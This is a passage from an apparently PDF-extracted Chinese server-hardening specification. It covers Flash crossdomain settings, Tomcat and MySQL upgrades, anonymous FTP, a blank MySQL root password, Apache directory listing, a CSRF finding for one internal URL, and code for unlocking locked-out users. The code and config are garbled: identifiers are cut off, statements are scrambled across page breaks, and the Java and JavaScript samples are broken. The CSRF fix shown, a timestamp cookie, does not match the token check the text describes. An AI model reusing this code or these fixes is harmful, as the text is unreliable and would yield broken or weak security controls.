允许任何域的Flash 文件访问站点资源)时,可能会导致“跨站点伪造请求”或“跨

站点跟踪”(“跨站点脚本编制”的变体)之类的攻击。

(四) 安全规范要求

请安装 文件中allow-access-from 实体的domain 属性

来包括特定域名,而不是任何域。

(五) 解决方案

设置 文件中allow-accessfrom实体的域属性,以包含特

定域名而不是任何域。把设置的“*”符号用IP地址段表示

1.3.17 主机应用软件漏洞修复

(一) Apache tomcat

升级到apache tomcat 7.11版本,直接下载解压,再将webapps下的应用复

制过来,修改java_home与初始化内存与之前的tomcat一样,在bin目录下的

文件里

(二) Mysql

升级之前一定要备份MYSQL数据库(非常重要)

升级到5.1.35,

mysql5.0升级到5.1

shell> groupadd mysql

shell> useradd -g mysql mysql

shell> cd /usr/local

54

安全规范

shell> gunzip < /path/to/ | tar xvf -

shell> ln -s full-path-to-mysql-VERSION-OS mysql

shell> cd mysql

shell> chown -R mysql .

shell> chgrp -R mysql .

shell> scripts/mysql_install_db --user=mysql

shell> chown -R root .

shell> chown -R mysql data

shell> bin/mysqld_safe --user=mysql &

./bin/mysqld_safe --datadir=/var/lib/mysql/data --user=mysql

--skip-grant-tables &

不检查表启动

./bin/mysql_upgrade --defaults-file=/etc/

--socket=/var/lib/mysql/

升级系统

修改/etc/init.d/mysqld

/usr/local/mysql/bin/mysqladmin

--socket=/var/lib/mysql/

-udamon ping

指定sock,防止启用时连接不到MYSQL报超时错误

修改默认mysqld为/usr/local/mysql/bin/mysqld

(三) ftp弱账号

修改/etc/vsftpd/文件,找到anonymous_enable=YES一行,

将YES改为NO

(四) mysql root用户密码为空

用root用户登录mysql数据库后进行如下操作

use mysql;

update user set password = password(‘one#098’) where user =

‘root’;

flush privileges;

exit;

(五) mysql弱密码

跟root密码修改一样

1.3.18 目录列表

要禁止 Apache 显示目录结构列表,只需将 Option 中的 Indexes 去掉即可。

比如我们看看一个目录的目录配置:

55

安全规范

Options Indexes FollowSymLinks

AllowOverride None

Order allow,deny

Allow from all

你只需要将上面红色代码中的 Indexes 去掉,就可以禁止 Apache 显示该目录结构。

用户就不会看到该目录下的文件和子目录列表了。

Indexes 的作用就是当该目录下没有 文件时,就显示目录结构,去掉

Indexes,Apache 就不会显示该目录的列表了。

1.3.19 跨站点请求伪造

(一) URL

120.209.150.250:8443/hfpm/hfpm/

(二) 安全问题描述

可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够

以该用户身份查看或变更用户记录以及执行事务

(三) 攻击方法

这个漏洞的严重性取决于受影响的应用程序的功能,例如,对搜索页面的 CSRF 攻击,

严重性低于对转帐页面或概要更新页面的 CSRF 攻击。

这项攻击的执行方式,是强迫受害者的浏览器向易受攻击的站点发出 HTTP 请求。如果用户

目前已登录受害者站点,请求会自动使用用户的凭证(如会话 Cookie、用户的 IP 地址,

以及其他浏览器认证方法)。攻击者利用这个方法来伪造受害者的身份,再代替他来提交操作。

换句话来说,易受攻击的站点未采取适当措施来验证用户实际是否想执行特定操作。

(四) 安全规范要求

如果要避免 CSRF 攻击,每个请求都应该包含唯一标识,它是攻击者所无法猜测的参数。

建议的选项之一是添加取自会话 cookie 的会话标识,使它成为一个参数。服务器必须检

查这个参数是否符合会话 cookie,若不符合,便废弃请求。 攻击者无法猜测这个参数的

原因是应用于 cookie 的“同源策略”,因此,攻击者无法伪造一个虚假的请求,让服务

器误以为真。 攻击者难以猜测且无法访问的任何秘密(也就是无法从其他域访问),都可用

来替换会话标识。 这可以防止攻击者设计看似有效的请求。

(五) 解决方案

修改类

der("Cache-Control","no-store");

56

安全规范

der("Pragrma","no-cache");

eHeader("Expires",0);

kie(new Cookie("timstamp",UUID().toString()));

红色字体为新增内容

1.1 需要注意的问题

1) 由于账号密码安全需要,现登录方式从http转为https,在首次访问时可能会存

在页面无法打开的情况,修改出错url,将后面的应用与登录页面内容删除,如OA

则删除URL后面/oa/,以后打开不会有此情况,请与客户说明。

2) 用户连续登陆错误超过3次时会进行锁定,跟客户说明,如果锁定账号请联系系统

维护人员进行解锁。

1.2 用户锁定解锁功能

修改类以下方法为

private void addLoginErrorRec(LoginInfo logininfo){

try{

getSimpleJdbcTemplate().update(

"insert into

tb_userloginerrrec(sessionid,userid,ipaddr,state,logindate,s

ystem) values(?, ?, ?, '1', now(), null)",

tIP(),

rID().length() > 18 ?

: rID().substring(0,18)

rID(),

}

tIP());

}catch(Exception e){

}

tackTrace();

修改类的query方法,在最后一

列的操作增加以下内容:

  |  

href="javascript:unlock('"+rid()+"')">登录解锁

57

安全规范

修改接口类,增加如下方法

/**

* 用户登录解锁

* @author wufeng

* @serialData 2012-07-12

* @param logininfo

* @param userid

* @return

* @throws Exception

*/

public ReturnValue unlock(LoginInfo logininfo,String

userid) throws Exception;

修改类,增加如下方法

/**

* 用户登录解锁

* @author wufeng

* @param logininfo

* @param userid

* @return

* @throws Exception

*/

@Override

public ReturnValue unlock(LoginInfo logininfo, String

userid)

getSimpleJdbcTemplate().update(

//业务操作记录

58

throws Exception {

"DELETE FROM tb_userloginerrrec WHERE userid = ?",

userid);

安全规范

String optsn = (getSimpleJdbcTemplate(),

"B", Code().substring(0,1));

BusiRecord busiRecord = new BusiRecord();

code("UNLOCK");

rid(rID());

sn(optsn);

sionid(sionid());

ark("用户解锁");

iRecord(getSimpleJdbcTemplate(),

busiRecord);

}

修改文件,增加如下两个函数

/**

* 增加用户解锁功能

*/

function unlock(id){

var url =

ReturnValue ret = new ReturnValue();

Code(S);

Desc("用户解锁成功!");

return ret;

"?method=json&common=unlock&classes=userService

Impl&userid="+id;

$.getJSON(url, unlockcallback);

}

/**

* 用户解锁功能回调函数

*/

function callback(data)

{

alert(c);

}

59


本文标签: 用户 查询 输入 可能 攻击者